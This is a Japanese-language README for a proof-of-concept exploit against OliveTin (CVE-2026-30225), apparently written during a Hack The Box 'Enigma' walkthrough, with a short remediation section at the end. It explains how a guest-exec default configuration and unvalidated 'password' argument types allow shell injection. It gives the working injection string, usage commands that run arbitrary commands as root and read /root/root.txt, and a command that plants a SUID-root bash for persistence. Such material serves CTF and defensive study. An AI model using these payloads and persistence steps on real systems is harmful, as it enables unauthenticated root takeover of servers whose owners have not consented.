
OliveTinの認証なしRCE(CVE-2026-30225)に対する概念実証エクスプロイト。安全でないゲストデフォルト設定と検証されていない引数タイプを悪用し、脆弱なインスタンス上でrootシェルを取得します。
OliveTin のインスタンスが同梱のゲストデフォルト設定で実行されている場合の、権限昇格/リモートコード実行(RCE)に対するPoC。root として実行されている OliveTin 3000.10.0(HTB: Enigma)で検証済みであり、未認証の root シェルを取得できます。
⚠️ 許可されたテストのみ。 教育、CTFプレイ、および防御研究のために公開されています。所有していない、または明示的な書面によるテスト許可がないシステムに対してこれを使用することは違法です。保証はありません。LICENSE を参照してください。
OliveTin のサンプル/デフォルト設定には以下が含まれています:
authRequireGuestsToLogin: false
defaultPermissions: { view: true, exec: true, logs: true }
この設定では、未認証の呼び出し元(WhoAmI → "guest")が StartActionAndWait を呼び出し、任意のアクションを実行できます。アクションは OliveTin プロセスユーザー(多くの場合 root)として実行されます。
internal/executor/arguments.go → TypeSafetyCheck():
case "password": return nil
case "raw_string_multiline": return nil
case "checkbox": return nil
これらのタイプはまったく検証されません。shell: テンプレートがそのような引数を補間するアクションは、シェルインジェクションのシンクとなります。Enigma の実稼働 /etc/OliveTin/config.yaml には以下が含まれています:
- id: backup_database
shell: "mysqldump -u {{ db_user }} -p'{{ db_pass }}' {{ db_name }} > /opt/backups/backup.sql"
arguments:
- { name: db_user, type: ascii_identifier }
- { name: db_pass, type: password } # <-- 未検証、-p'...' の内側にある
- { name: db_name, type: ascii_identifier }
db_pass = x'; <cmd>; echo __OT_DONE__ # は -p'…' の引用符を閉じ、<cmd> を連結し、 # が末尾の ' <db_name> > /opt/backups/backup.sql をコメントアウトします。
root の OliveTin に対する A + B = 未認証の root としての RCE。
RestartAction の認証コンテキストの欠落RestartAction は、呼び出し元の認証ヘッダー/クッキーを引き継がずに内部リクエストを再構築するため、再実行は常に guest ユーザーとして解決されます(ゲストが呼び出し元よりも特権が高い場合のACLバイパス)。3000.11.1 で修正済み。
ビルド ≤ 3000.10.x では、ハンドラーはさらに半分しか実装されておらず(// FIXME)、空の BindingId を転送するため、action with ID "" not found を返すだけで、何も再実行できません。test-restart は、ターゲットが実際に何を行うかを報告します。Enigma ではこのパスはノーオペレーションです — コード実行をもたらすのは問題 A + B です。
requests — pip install -r requirements.txt127.0.0.1:1337; 必要に応じてトンネル/ピボット — Enigma では uid 1000 のみがポートに到達可能)。./exploit.py -u http://127.0.0.1:1337 <mode>
modes:
check アイデンティティ、アクションリスト、インジェクション可能な引数、CVE-2026-30225 の状態
test-restart RestartAction の動作のみを調査
exploit --action <id> [--set NAME=VALUE ...] [--inject NAME --quote {single,double,none} --cmd '<cmd>']
global:
--cookie 'olivetin-sid-local=...' 認証済みローカルユーザーとして動作(オプション)
# 偵察
./exploit.py -u http://127.0.0.1:1337 check
# HTB Enigma: root としてコマンドを実行
./exploit.py -u http://127.0.0.1:1337 exploit \
--action backup_database --set db_user=root --set db_name=x \
--inject db_pass --quote single --cmd 'id; hostname; cat /root/root.txt'
# 永続シェル用に SUID-root bash を配置
./exploit.py -u http://127.0.0.1:1337 exploit \
--action backup_database --set db_user=root --set db_name=x \
--inject db_pass --quote single --cmd 'cp /bin/bash /tmp/rb; chmod 4755 /tmp/rb'
# その後: /tmp/rb -p
StartActionAndWait はコマンドの標準出力を logEntry.output で返すため、出力(フラグ、uid=0(root)、…)はレスポンスで直接返ってきます。
check は表示されているすべてのアクションを一覧表示し、検証なしタイプの引数を使用するものをフラグ付けします。1つ選択し、その shell: 文字列で引数がどのように引用されているか(--quote single|double|none)を確認してから、exploit --inject <arg> --cmd '<payload>' を実行します。どのダッシュボードにも表示されていないアクションも、ID(--action <id>)で実行できます。
authRequireGuestsToLogin: true に設定し、ゲスト/デフォルトの権限から exec を削除。各ACLに必要な最小限のみを付与。user: も使用)。type に関係なく攻撃者制御として扱う。shell: 文字列への引数の補間を避け、exec: argv 形式を優先し、厳密に引用と検証を行う。RestartAction がアクションを guest として実行internal/executor/arguments.go(TypeSafetyCheck)、internal/api/api.go(RestartAction、StartAction)HTB: Enigma(www-data → haris → OliveTin → root)の攻略中の調査とPoC。